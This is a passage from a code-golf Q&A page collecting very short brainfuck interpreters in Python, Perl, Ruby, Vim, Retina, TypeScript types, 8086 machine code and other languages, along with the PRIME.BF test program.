B)), …`. Why is this useful? Well, as it turns out this is precisely the kind of recurrence the Fibonacci sequence has. In fact, one of the examples given of it is ``` 1+⌼1 ``` producing the familiar sequence `1 1 2 3 5 8 …`. So, there you go, quite possibly the shortest possible Fibonacci implementation in a non-novelty programming language. :D ]
[Question] [ Write the shortest program in your favourite language to interpret a [brainfuck](http://en.wikipedia.org/wiki/brainfuck) program. The program is read from a file. Input and output are standard input and standard output. 1. Cell size: 8bit unsigned. Overflow is undefined. 2. Array size: 30000 bytes (not circled) 3. Bad commands are not part of the input 4. Comments begin with # and extend to the end of line Comments are everything not in `+-.,[]<>` 5. no EOF symbol A very good test can be found [here](http://esoteric.sange.fi/brainfuck/bf-source/prog/PRIME.BF). It reads a number and then prints the prime numbers up to that number. To prevent link rot, here is a copy of the code: ``` compute prime numbers to use type the max number then push Alt 1 0 =================================================================== ======================== OUTPUT STRING ============================ =================================================================== >++++++++[<++++++++>-]<++++++++++++++++.[-] >++++++++++[<++++++++++>-]<++++++++++++++.[-] >++++++++++[<++++++++++>-]<+++++.[-] >++++++++++[<++++++++++>-]<+++++++++.[-] >++++++++++[<++++++++++>-]<+.[-] >++++++++++[<++++++++++>-]<+++++++++++++++.[-] >+++++[<+++++>-]<+++++++.[-] >++++++++++[<++++++++++>-]<+++++++++++++++++.[-] >++++++++++[<++++++++++>-]<++++++++++++.[-] >+++++[<+++++>-]<+++++++.[-] >++++++++++[<++++++++++>-]<++++++++++++++++.[-] >++++++++++[<++++++++++>-]<+++++++++++.[-] >+++++++[<+++++++>-]<+++++++++.[-] >+++++[<+++++>-]<+++++++.[-] =================================================================== ======================== INPUT NUMBER ============================ =================================================================== + cont=1 [ - cont=0 >, ======SUB10====== ---------- [ not 10 <+> cont=1 =====SUB38====== ---------- ---------- ---------- -------- > =====MUL10======= [>+>+<<-]>>[<<+>>-]< dup >>>+++++++++ [ <<< [>+>+<<-]>>[<<+>>-]< dup [<<+>>-] >>- ] <<<[-]< ======RMOVE1====== < [>+<-] ] < ] >>[<<+>>-]<< =================================================================== ======================= PROCESS NUMBER =========================== =================================================================== ==== ==== ==== ==== numd numu teid teiu ==== ==== ==== ==== >+<- [ >+ ======DUP====== [>+>+<<-]>>[<<+>>-]< >+<-- >>>>>>>>+<<<<<<<< isprime=1 [ >+ <- =====DUP3===== <[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<<< =====DUP2===== >[>>+>+<<<-]>>>[<<<+>>>-]<<< < >>> ====DIVIDES======= [>+>+<<-]>>[<<+>>-]< DUP i=div << [ >>>>>+ bool=1 <<< [>+>+<<-]>>[<<+>>-]< DUP [>>[-]<<-] IF i THEN bool=0 >> [ IF i=0 <<<< [>+>+<<-]>>[<<+>>-]< i=div >>> - bool=0 ] <<< - DEC i << - ] +>>[<<[-]>>-]<< >[-]< CLR div =====END DIVIDES==== [>>>>>>[-]<<<<<<-] if divides then isprime=0 << >>[-]>[-]<<< ] >>>>>>>> [ - <<<<<<<[-]<< [>>+>+<<<-]>>>[<<<+>>>-]<<< >> =================================================================== ======================== OUTPUT NUMBER =========================== =================================================================== [>+<-]> [ ======DUP====== [>+>+<<-]>>[<<+>>-]< ======MOD10==== >+++++++++< [ >>>+<< bool= 1 [>+>[-]<<-] bool= ten==0 >[<+>-] ten = tmp >[<<++++++++++>>-] if ten=0 ten=10 <<- dec ten <- dec num ] +++++++++ num=9 >[<->-]< dec num by ten =======RROT====== [>+<-] < [>+<-] < [>+<-] >>>[<<<+>>>-] < =======DIV10======== >+++++++++< [ >>>+<< bool= 1 [>+>[-]<<-] bool= ten==0 >[<+>-] ten = tmp >[<<++++++++++>>>+<-] if ten=0 ten=10 inc div <<- dec ten <- dec num ] >>>>[<<<<+>>>>-]<<<< copy div to num >[-]< clear ten =======INC1========= <+> ] < [ =======MOVER========= [>+<-] =======ADD48======== +++++++[<+++++++>-]<-> =======PUTC======= <.[-]> ======MOVEL2======== >[<<+>>-]< <- ] >++++[<++++++++>-]<.[-] =================================================================== =========================== END FOR =============================== =================================================================== >>>>>>> ] <<<<<<<< >[-]< [-] <<- ] ======LF======== ++++++++++.[-] @ ``` Example run: ``` $ python2 bf.py PRIME.BF Primes up to: 100 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ``` [Answer] # Python (no eval), 317 bytes ``` from sys import* def f(u,c,k): while(c[1]>=k)*u: j,u='[]<>+-,.'.find(u[0]),u[1:];b=(j>=0)*(1-j%2*2);c[1]+=b*(j<2) while b*c[c[0]]and j<1:f(u,c,k+1);c[1]+=1 b*=c[1]==k;c[[0,c[0],2][j/2-1]]+=b if(j==6)*b:c[c[0]]=ord(stdin.read(1)) if(j>6)*b:stdout.write(chr(c[c[0]])) f(open(argv[1]).read(),[-1]+[0]*30003,0) ``` [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), ~~843~~ 691 bytes Edit: decided to revisit this and found a surprising number of ways to golf off bytes ``` >>>,[>++++[-<-------->]<-[>+<<]>[----------[>]>[<+<+>>>>]<<<-[>]>[<+<+>>>>]<<<-[>]>[<+<+>>>>]<<<-[>]>[<-<+++>>>>]<<<--------------[>]>[<++<+>>>>]<<<--[>]>[<-<+++++++>>+>>]<<++++[-<------>]+<+[>]>[<++<+>>>>]<<<--[>]>[<<+>>>>]<<-<[+]<[>]>,>]<]<-[<]>[-[<<]>[<+[>]>>[<+[<<[<]<<-[>>]<[>>>>[>]>+<<[<]<]<-[>>]<[>>>>[>]>-<<[<]<]<++[->>+<<]>>[>]>]]<<<[<]>-<]>-[<<]>[<++[>]>+>[<-]<[<<[<]>[-<<+>>]>--[<<]>[[>]>+<<[<]<]>+[<<]>[[>]>-<<[<]<]>+[>]>]<<[<]>--<]>-[<<]>[[>]>>.<<<[<]<]>-[<<]>[[>]>>-<<<[<]<]>-[<<]>[[>]>>,<<<[<]<]>-[<<]>[[>]>>+<<<[<]<]>-[<<]>[[>]>>>[>>]>[<<<[<<]<+>>>[>>]>-]>[-]<<+[<[->>+<<]<]<[->>+<<]<[<]<]>-[<<]>[[>]>-[+>[-<<+>>]>]+<<[-]+[-<<]<[->>>[>>]>+<<<[<<]<]<[<]<]<++++++++>>[+<<->>]>] ``` This takes input in the form `code!input` where the `!input` is optional. It also simulates negative cells without using negative cells itself and can store up to `(30000-(length of code+6))/2` cells. [Try it online!](https://tio.run/##lVJLDsJQCDyLax6egHARwqKamBgTFyaevzK8T59aF9I0bQdmYHg9PZbr/fI839ZVVYspRRgLt1AXDlDE1XiEaXwKCQUnKkT@QFiiw8DeolFmzkyiJFJm3sZUD8pv8kBYjFwAlviEs7Rl6a4q5FMkEjmwojwCKaqwf@LccUykdVeZcAyBFoy7d8k2BE@hUfNhBDNGUaua2yltGG8Y9Jv6JJ8WjtLLZpR30bKL0i6q8I19Ym7PrSbCcIAzMekLiGu8fgmx0WbZ4ZMdh9lIVZR6Gx/b7X@ARY6Tu67FjsUPy@n8Ag "brainfuck – Try It Online") [Answer] ## 16 bit 8086 machine code: 168 bytes Here's the [base64](http://www.motobit.com/util/base64-decoder-encoder.asp) encoded version, convert and save as 'bf.com' and run from Windows command prompt: 'bf progname' ``` gMYQUoDGEFKzgI1XAgIfiEcBtD3NIR8HcmOL2LQ/i88z0s0hcleL2DPA86sz/zP2/sU783NHrL0I AGgyAU14DTqGmAF194qOoAH/4UfDJv4Fwyb+DcO0AiaKFc0hw7QBzSGqT8MmODV1+jPtO/NzDaw8 W3UBRTxddfJNee/DJjg1dPoz7U509YpE/zxddQFFPFt18U157sM+PCstLixbXUxjTlJWXmV+ ``` **EDIT** Here's some assembler (A86 style) to create the executable (I had to reverse engineer this as I'd misplaced the original source!) ``` add dh,10h push dx add dh,10h push dx mov bl,80h lea dx,[bx+2] add bl,[bx] mov [bx+1],al mov ah,3dh int 21h pop ds pop es jb ret mov bx,ax mov ah,3fh mov cx,di xor dx,dx int 21h jb ret mov bx,ax xor ax,ax repz stosw xor di,di xor si,si inc ch program_loop: cmp si,bx jnb ret lodsb mov bp,8 push program_loop symbol_search: dec bp js ret cmp al,[bp+symbols] jnz symbol_search mov cl,[bp+instructions] jmp cx forward: inc di ret increment: inc b es:[di] ret decrement: dec b es:[di] ret output: mov ah,2 mov dl,es:[di] int 21h ret input: mov ah,1 int 21h stosb backward: dec di ret jumpforwardifzero: cmp es:[di],dh jnz ret xor bp,bp l1: cmp si,bx jnb ret lodsb cmp al,'[' jnz l2 inc bp l2: cmp al,']' jnz l1 dec bp jns l1 ret jumpbackwardifnotzero: cmp es:[di],dh jz ret xor bp,bp l3: dec si jz ret mov al,[si-1] cmp al,']' jnz l4 inc bp l4: cmp al,'[' jnz l3 dec bp jns l3 ret symbols: db '><+-.,[]' instructions: db forward and 255 db backward and 255 db increment and 255 db decrement and 255 db output and 255 db input and 255 db jumpforwardifzero and 255 db jumpbackwardifnotzero and 255 ``` [Answer] ## Perl, 120 ~~138~~ ``` %c=qw(> $p++ < $p-- + D++ - D-- [ while(D){ ] } . print+chrD , D=ord(getc)); $/=$,;$_=<>;s/./$c{$&};/g;s[D]'$b[$p]'g;eval ``` This runs hello.bf and primes.bf flawlessly: ``` $ perl bf.pl hello.bf Hello World! $ perl bf.pl prime.bf Primes up to: 100 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ``` Initialization: The opcode to Perl translation table is stored in `%c`. The readable form looks like this: ``` %c=( '>' => '$p++', '<' => '$p--', '+' => '$b[$p]++', '-' => '$b[$p]--', '[' => 'while($b[$p]){', ']' => '}', '.' => 'print chr$b[$p]', ',' => '$b[$p]=ord(getc)', ); ``` Step 1: Slurp program input to `$_` and transform it to Perl code using the translation table. Comments are automatically stripped (replaced with `undef`) in this step. Step 2: Uncompress all `$b[$p]` occurrences Step 3: Launch the program using `eval`. [Answer] # [Vim](https://www.vim.org), ~~809~~ 580 bytes *-229 bytes because shenanigans and balderdash.* ``` qq<C-v><C-v><C-v>q<Esc>^mbO<C-r>q elsei "<C-r>q<C-r>c"=="<Esc>^"xc$<C-r>q norm <Esc>^"zc$en<C-r>q <Esc>^"yd$i`b"cyl:if "<C-v><C-r>c"==">"<C-r>z@f<C-r>x<"<C-r>z@b<C-r>x+"<C-r>z@i<C-r>x-"<C-r>z@d<C-r>x,"<C-r>z@p<C-r>x."<C-r>z@o<C-r>x["<C-r>z@s<C-r>x]"<C-r>z@l<C-v> <C-r>y`blmb@e<Esc>^"ec$`b^mbjj30000ddk30000o0<C-v><Esc>jjmo`lk$d`ox`bjjmp`ljmi`b<Esc>^"rc$`p:if line(".")<30002<C-r>zj<C-v> <C-r>ymp<Esc>^"fc$`p:if line(".")>3<C-r>zk<C-v> <C-r>ymp<Esc>^"bc$`p<C-v><C-a>Y:if <C-v><C-r>"<C-v><C-h>>255<C-r>z<C-v><C-x><C-v> <C-r>y<Esc>^"ic$`p<C-v><C-x>Y:if <C-v><C-r>"<C-v><C-h><0<C-r>z<C-v><C-a><C-v> <C-r>y<Esc>^"dc$`i"qx`p:if "<C-v><C-r>""!="<C-r>q<Esc>"<C-r>z3xi<C-r>q<C-r>=char2nr("<C-r>q<C-r>q")<C-r>q <C-r>q<Esc><C-v> else<C-r>z`i3i<C-v><C-v><Esc>a<C-v><Esc><C-r>q<Esc><C-v> <C-r>y<Esc>^"pc$`py$`oA<C-v><C-r>=nr2char(<C-v><C-r>")<C-v> <C-v><Esc>$mo<Esc>^"oc$`py$`b:if <C-v><C-r>"==0<C-r>z%mb<C-v> <C-r>y<Esc>^"sc$`py$`b:if <C-v><C-r>"!=0<C-r>z%mb<C-v> <C-r>y<Esc>^"ld$ddo<Esc>90i-<Esc>30000o0<Esc>o<Esc>90i-<Esc>o<Esc>moo<Esc>ml90i-<Esc>o<C-v><Esc><Esc>mio<Esc>90i-<Esc>`bjjmp ``` [Try it online!](https://tio.run/##ZVDBitswEGVvJUcdxIIuWeFCQioTYvbQYov0C3ouIYvWlrOVI1m2A4vin3dnbLWl7YD8ZvTejMbvfZr6nlLasxdXfiP9qra32qw56UnFi4KzFx6qBO5bP7g1VGOV1C3UkN51YlTJq7v9Yi5rTpcOycl4vJCQI5Yk7BANCQJRk/AJsSMhRfQknBBvJJwRLV2RuyqtK481vFBXiSphsabJ9hBaX2f0e8qaxnllr4lWPigQuE7ZxsE@0DZAW4c7WdPWG57ybY59BzI2ON91oLn8p5EZGa@/@RJ5@vAdJZRw@kEenp/JSB9RAbyZ@cc/fL4H9iGyGljD@7A8AdZw/lSAqQx@MgsG3C2qH6/DoR02aHXPt2Ap0HT2n4zKZIZS9krZfDnP7PDFe6L8V0qKdjjggA1M3tIVZYnzIPFRUsatigKW@ujKOOH2D/30N211orVnn/dGsOgzi6VnzsOxS0EZcyYyi/fTsV6/vWFTprWy8Jl2MU7y1xeT5eQQ4iwhk0LK3Sk/YylTKYRIY1@KSQqXuUjzORdzRIAEOlOYl07i/Sc "V (vim) – Try It Online") More than just an interpreter, this sets up an environment for programming in brainfuck with the following format: ``` brainfuck program ------------------------------------------------------------------- list of 30000 memory cells ------------------------------------------------------------------- program output ------------------------------------------------------------------- program input ^[ ------------------------------------------------------------------- ``` It also sets up some macros: * `@f` - `>` moves the MP forward * `@b` - `<` moves the MP backward * `@i` - `+` increments the cell at the MP * `@d` - `-` decrements the cell at the MP * `@p` - `,` input a character and store it in the cell at the MP * `@o` - `.` output the signified by the cell at the MP * `@s` - `[` start `while` loop * `@l` - `]` end `while` loop * `@e` - Execute. Recursively get the command at the IP and call the corresponding macro if it is a valid command, then increment the IP. * `@r` - Reset. Clear the output, reset all memory cells, and move the IP back to the beginning of the program. If using the TIO link, the input box is where the program goes to be executed. To pass input to the brainfuck program, add this to the footer before anything else: ``iiYour Input Here<Esc>`. Additionally, I added `gg30003dd`l3dd` to the footer to strip away everything except the brainfuck program's output, so you can remove that from the footer to see the entire result. If using Vim, copy the TIO code and paste it into Vim to set up the environment. From there, you can use ``b` to jump to the brainfuck program, ``p` to jump to the MP, ``o` to jump to the output, and ``i` to jump to the input. A few caveats: * The environment does not support newlines in the program, so the brainfuck program must be a single line. * The input must be terminated with `<Esc>`. The setup code automatically puts the `<Esc>` in the input section, so just make sure that the input goes before the `^[`. * To "read the program from a file", as it were, you can use Vim to open a file containing the brainfuck program and paste this code to set everything up and then execute it, as long as the program is already in a single line. * It's kinda slow. The test program for finding primes took ~2 minutes to finish with `n=2`. It took ~10 minutes with `n=7`. I didn't even bother trying anything higher. Nevertheless, it works. Note: This is the second version, and is golfed much further than the original, but I could almost certainly get it even shorter by defining the macros as macros instead of deleting into named registers. However, that will require pretty much rewriting this entire program, which I just golfed into illegibility, so I don't feel like doing it right now, but I might do it some time later. [Answer] # Ruby 1.8.7, ~~188~~ ~~185~~ ~~149~~ 147 characters ``` eval"a=[i=0]*3e4;"+$<.bytes.map{|b|{?.,"putc a[i]",?,,"a[i]=getc",?[,"while a[i]>0",?],"end",?<,"i-=1",?>,"i+=1",?+,"a[i]+=1",?-,"a[i]-=1"}[b]}*";" ``` Somewhat readable version: ``` code = "a = [0] * 3e4; i = 0;" more_code ARGF.bytes.map {|b| replacements = { ?. => "putc a[i]", ?, => "a[i] = getc", ?[ => "while a[i] > 0 do", ?] => "end", ?< => "i -= 1", ?> => "i += 1", ?+ =>"a[i]+=1", ?- =>"a[i]-=1" } replacements[b] }.join(";") eval code+more_code ``` As you see I shamelessly stole your idea of translating to the host language and then using eval to run it. [Answer] # Binary Lambda Calculus 112 The program shown in the hex dump below ``` 00000000 44 51 a1 01 84 55 d5 02 b7 70 30 22 ff 32 f0 00 |DQ...U...p0".2..| 00000010 bf f9 85 7f 5e e1 6f 95 7f 7d ee c0 e5 54 68 00 |....^.o..}...Th.| 00000020 58 55 fd fb e0 45 57 fd eb fb f0 b6 f0 2f d6 07 |XU...EW....../..| 00000030 e1 6f 73 d7 f1 14 bc c0 0b ff 2e 1f a1 6f 66 17 |.os..........of.| 00000040 e8 5b ef 2f cf ff 13 ff e1 ca 34 20 0a c8 d0 0b |.[./......4 ....| 00000050 99 ee 1f e5 ff 7f 5a 6a 1f ff 0f ff 87 9d 04 d0 |......Zj........| 00000060 ab 00 05 db 23 40 b7 3b 28 cc c0 b0 6c 0e 74 10 |....#@.;(...l.t.| 00000070 ``` expects its input to consist of a Brainfuck program (looking only at bits 0,1,4 to distinguish among ,-.+<>][ ) followed by a ], followed by the input for the Brainfuck program. Save the above hex dump with xxd -r > bf.Blc Grab a blc interpreter from <https://tromp.github.io/cl/cl.html> ``` cc -O2 -DM=0x100000 -m32 -std=c99 uni.c -o uni echo -n "++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.]" > hw.bf cat bf.Blc hw.bf | ./uni ``` Hello World! [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), ~~386~~ ~~391~~ 386 bytes Code contains unprintable NUL (`0x00`) characters. It's also not super golfed yet, because it's already really slow, and if I golf it more, I don't know how long it'd take to finish. Appears to time out on the prime-finding sample. There may be bugs in the online interpreter or in my program (leading new lines don't show in the output?). Takes input like `<code>│<input>`. No, that is not a pipe (`|`). It's the Unicode character [`U+2502`](http://apps.timwhitlock.info/unicode/inspect?s=%E2%94%82). The code also uses the Unicode characters `ÿ▶◀├║`. Unicode characters are used in order to support input of all ASCII characters. Therefore, these characters need to be separated from the code by a non-ASCII character. [**Try it online**](https://tio.run/nexus/retina#XVBBTsMwEPR53@GDncQWSa8hFfAFbrYj/wCpOaaVED9AKnDpO7j20J/kI2HWbkMgsrKr3Zmd2Z2H2NuCps9veTcdT9PHO1JBwxgVks4WqNhCI1dWK7vVJGvZMHyTSJTgmcZBcGRqe6OCxzVZM7yh53g5GxHFS1Tb9h41X16RyLWl3pcEkDCXM5ALyvwFGUoi3qJyPLHK0oUee9zIBhYZVDHmLZlXV3ieklG8gXdqNV@QQ2C7Y30QlE@BV2rleudDKLR3JBuXdqJD5Ov86wf0g6xpF5XLJZYJKxnXi8BOp69XvAAjuzHCyG2EQrXU@GUlyIC@bqY@moldEyN/7bgeOwed9fRy/cHHdIJ9ckHzXFlnApXpc12OZWtCZ6myhBkPj08/) ``` s`^.* ▶$0├║▶ s{`(▶>.*║.*)▶(.)(.?) $1$2▶$3 ▶$ ▶ ║▶ ║▶ (▶<.*║.*)(.)▶ $1▶$2 T`ÿ-`o`(?<=▶\+.*║.*▶). ^\+ T`-ÿ`ÿo`(?<=▶-.*║.*▶). ^- (▶\..*├.*)(║.*▶)(.) $1$3$2$3 (▶,.*│)(.?)(.*├.*▶). $1$3$2 ▶\[(.*║.*▶) [▶▶${1} {`(▶▶+)([^[\]]*)\[ $2[$1▶ }`▶(▶+)([^[\]]*)\] $2]$1 r`([[\]]*)▶\](.*║.*▶[^]) $1◀◀]$2 r{`\[([^[\]]*)(◀+)◀ $2[$1 }`\]([^[\]]*)(◀◀+) $2◀]$1 ◀ ▶ }`▶([^│])(.*║) $1▶$2 s\`.*├|║.* ``` Note there is a trailing newline there. ### Brief Explanation: Zeros `0x00` are used for the tape, which is infinite. The first replacement sets up the interpreter in the form `▶<code>│<input>├<output>║▶<tape>`, where the first `▶` is the pointer for the code, and the second one is the pointer for the tape. `ÿ` is `0xFF` (255), which is used for Transliteration (used to implement `+` and `-`) to wrap the cells back around to zero. `◀` is only used for readability (in case the program is stopped in the middle or you want to see the program mid-execution). Otherwise, you couldn't tell which way the pointer was moving. ### Commented Code: ``` s`^.* # Initialize ▶$0├║▶ s{`(▶>.*║.*)▶(.)(.?) # > $1$2▶$3 ▶$ ▶ ║▶ # < ║▶ (▶<.*║.*)(.)▶ $1▶$2 T`ÿ-`o`(?<=▶\+.*║.*▶). # + ^\+ T`-ÿ`ÿo`(?<=▶-.*║.*▶). # - ^- (▶\..*├.*)(║.*▶)(.) # . $1$3$2$3 (▶,.*│)(.?)(.*├.*▶). # , $1$3$2 ▶\[(.*║.*▶) # [ [▶▶${1} {`(▶▶+)([^[\]]*)\[ $2[$1▶ }`▶(▶+)([^[\]]*)\] $2]$1 r`([[\]]*)▶\](.*║.*▶[^]) # ] $1◀◀]$2 r{`\[([^[\]]*)(◀+)◀ $2[$1 }`\]([^[\]]*)(◀◀+) $2◀]$1 ◀ ▶ }`▶([^│])(.*║) # next instruction $1▶$2 s\`.*├|║.* # print output ``` [Click here](https://tio.run/nexus/retina#XVExbsMwDNz5Dg2SFQmys7oO2n6hmyRDPygQj0aAoD8okLZL3tE1Q37ij7hHKXHdGoJJkHe8EzUPqbcVTZ/fwk2n8/TxjtTRMCaJpLMVKrZSyKVV0u4UiVo0DN9mEmV4oXFwHJna3qngcU3UDG/oJV0vxiX3muSufUAt6BsSubLUB00AOXO9ALmgzF@QoSwSLCqnM6ssXeixx61oYJFBG8a8ZfPyBi9TCopvELxczXfkEdjuWB8clVXgaCV970OMlQqeROPzneiQeDv/@hH9KGraJ@lLiWXiSsb3LrLT6euIE2FkPyYYuY@QqGqFX1GCDOjrZu6jmdk1MfLXju9x56iKnlq2P4SUVyD5TdkIOvO8sd5E0vnzXYm6NbGztLGEQY9Pzz8) for the code with zeros in place of null bytes. Any occurrences of `$0` should not be replaced with nulls. **Edit**: Now supports empty input and suppresses trailing newline. [Infinite output is now supported.](https://tio.run/nexus/retina#XVFBTsMwEPR53@GDnTQWTq@Fij9wsx35B0jNMVRC/ACpwKXv4NpDf5KPhNk1CSmSFa92ZnZ2nKnPnato/PzWd@PpPH68o1TUD9mgeHAVOq6yqI2zxu0taa9bpm9FREIvMr4U3yzdzVLouKc901t6ytdLo7J6zma/u0cv1r9M1NZRF2sCSTXXC5gLq7klNSQm0aFzOluzYHDjDbe6xYJVzIK/CEyE0qGkElQmbJjwJsmMcGeLMoTjxWBW5ooCLs4y@KOi8k44tTWhCzGlysZAug0SmI6Zn@4fnoAn7emQTSgttkkrm9CpxEHGr1echEUOQ8Yi8wiDbm3xKU6wgXwNCg5Q1J6Y@bdO6JA52eJnl1/T3z7XNG2CS2A@/gA) (403 bytes) [Answer] ## Conveyor, 953 This might be the most beautiful code you will ever see: ``` 0 :I\1\@p >#====) ^#====< PP0 P<=======================< 00t:)01t1 a:P:P:P:P:P:P:^ >===========">">2>">2>">"^ ^ +^-^5^ ^5^]^.^ ^ "^"^*^"^*^"^"^ ^ -^-^6^-^6^-^-^ ^ #^#^*^#^*^#^#^ ^ P P -^P )^P P ^ P P #^P )^P P ^t1\)t0:))t01 P -^ 1 ^===========< P #^ 0 ^ t1\(t0:))t01 P t ^=============< P ) ^ t11(t01 0 0 ) ^===============<. t P 10 ^ FT#T#=< ^=================< P ^ t11)t01 ^===================< 10t))0tP00t:(01t(1a:P: ^ >=====#=>==========">" ^ ^ ]^[ ^ P ^ "^" ^===========================<=^#=====< -^- ^==< ^ PP#^#= ^===PTPT< ^ )P P ^=<=< ( ^===< ``` [Answer] ## Python 275 248 255 I decided to give it a try. ``` import sys i=0 b=[0]*30000 t='' for e in open(sys.argv[1]).read(): t+=' '*i+['i+=1','i-=1','b[i]+=1','b[i]-=1','sys.stdout.write(chr(b[i]))','b[i]=ord(sys.stdin.read(1))','while b[i]:','pass','']['><+-.,['.find(e)]+'\n' i+=(92-ord(e))*(e in'][') exec t ``` [Answer] # TypeScript Types, ~~1807~~ 1771 bytes ``` //@ts-ignore type B<X="\0\x01\x02\x03\x04\x05\x06\x07\b\t\n\v\f\r\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff",a=[]>=X extends`${infer A}${infer C}`?B<C,[...a,A]>:a;type C={[K in keyof B&`${number}`as B[K]]:D<K>};type D<T,A=[]>=T extends`${A["length"]}`?A["length"]:D<T,[0,...A]>;type E<A=[]>=255 extends A["length"]?[...A,0]:E<[...A,[...A,0]["length"]]>;type F=[255,0,...E];type G<L,D=never>=L extends[infer A,{}]?A:D;type H<L,D=never>=L extends[{},infer B]?B:D;type M<a,b,c=0,d="",e=0,f=0,g=0,h=0,i=[],>=a extends`${infer j}${infer a}`?h extends 0?j extends"+"?M<a,b,c,d,e,E<[]>[f],g>:j extends"-"?M<a,b,c,d,e,F[f],g>:j extends"<"?e extends 0?M<a,b,c,d,e,f,g>:M<a,b,c,d,H<e>,G<e>,[f,g]>:j extends">"?M<a,b,c,d,[f,e],G<g,0>,H<g,[]>>:j extends"["?f extends 0?M<a,b,c,d,e,f,g,1>:M<a,b,[a,c],d,e,f,g>:j extends"]"?f extends 0?M<a,b,H<c>,d,e,f,g>:M<G<c>,b,c,d,e,f,g>:j extends","?b extends`${infer k}${infer b}`?M<a,b,c,d,e,k extends keyof j?j[k]:0,g>:M<a,b,c,d,e,0,g>:j extends"."?M<a,b,c,`${d}${B[f]}`,e,f,g>:M<a,b,c,d,e,f,g>:j extends"]"?M<a,b,c,d,e,f,g,G<i,0>,H<i,[]>>:j extends"["?M<a,b,c,d,e,f,g,1,[1,i]>:M<a,b,c,d,e,f,g,h,i>:d ``` [Try it online!](https://www.typescriptlang.org/play?#code/PTACBcGcFoEsHMB2B7ATgUwFDgJ4Ad0ACAIQB4ANAXgCIAdABloA96BGZ+gJg4GYOAWDgFYOANg4B2WgCNa4WoloA3WgDNaqDgFEOAMWatGTVu2PdjfY4OMjj441OMAOAwE4DAQQPEDAYQMAIgY6xrqEAIS01ADEACQApABkAOQAFACUAFQA1AA00AB0wGycPPxCohJOrgBcANyklAB8APygHsS+AVq6AOIAEgCSAFIA0gAyALIAcgDyAAoAigBKAMoAKgCqAGoA6uQAmgBaANq0tAC6AHoA+gAGAIbSAMYAJuiq8AAWsABWANYAGwAtig8ABHVCQcAAVyUAHcmDgAF4AbwAPgBfAB+zAk+iYTiMTlMTnMTksTmsTlsTnsTkcThchPchK8hJ8hP8hKChJCTgJriMrlMrnMrksrmsrlsrnsrkcrmZrlZrnZrk5rm5rl5rhCrgJDyMD1MD3MD0sD2sD1sD3sD0cD2ZD1ZDwezCeHueHteHvQHvUTGkRmkpmk5mklmk1mktmk9mkjmkzOkrOk7qDsiD3qDvqD-qDgeeRmepme5melme1metme9mejmezOerOeGeeWeeObezGeBeegdeRleple5lelle1letle9lejlezNerNeGdeWdeOdeefezFegfQRnQpnQ5nQlnQ1nQtnQ9nQjnQzPQrPQGfQWfQOfQefQBY+ZhVCMVRTFUcxVEsVRrFUWxVHsVRHFUZlVFZVQM1ULNVBzVQ81UAtVFUahcgeSgTguJpKHIQh0CYcB0EQV5IDuWJUVgRB8NQQgPExVj2M4whfExO4WjIXxchOAopIeXIPAomoHjqXACEEyhUROUZCHYwh-nQHBkFUEhEhY1FEBhYFpHQVBhIeSASA0i4LhqAJSFGJpMSU-AiBc9ZZLIijKHWGi6IYpiTI8E5qEBBj4HAL5qAuYSWgiqKYrihLnNIXyTnoXIpIKOSmk8lStFIDx-MozghCEYL6MYuyUuixBYvii4WkkqSPFyegnNKjqCok-Kup6yKmpahKKOKohdDIqqhG6vKpK0C4psIXpSHGXIAkoRB0CUKzKPGWrQsgE5+Ks7jclRTE2o8ZzVv6Datp2vaDsoI7aLqpiTmu3Jzq44g2uIe7lKISZSBk6RcmeShcteGhiPQWHclUZH4GRr5kdgfzckoh5jvqkz-sIX5eLYjiLoeJKvgJpjCHoFpflpyBqGyagWnByHodyV5cnQXI+ook5VAuXJ4CaGomc+k7qGgdnOdyKHnh5vncl0YXRfFyXmeoUh2aIaX6vpjmIcV7nef51QxYlhWlZVx70CaXJ1sdiSrfgeSpZC+rqCaeXTbt3nhb50X1vgbqnce8PyKaCWva+lnIpaQzDbphnbfN1X3dyVgbYDiSZOeUWLZR63tdTlmLnZlPvbTk2uce54nZL928-WpuzeVluy-jmXcnZ6RmaJimuP+MniekJKM671X-mZnS9IMknGZOf4nNyrXp5V-mN7jnWCn9rnlZM14yeIDXhKzsut+7rXe59qv6877fS-D9bYAj3JHo-mO94r6gk43yvuHVgElQGwHkkAy2YtchfD+hLV4mBsBeUIFQcGrNsiYKwdkE4TRsG4MwXgwhWC8GkDIaQaAFFsh4KaNAWOODSAXAoRRJoBRaHQEKNgrBUluGxwKBQ-hBRuEcJEYUURoi2F4IPv3X2mAQCEAUVcFoQA) [Ungolfed / 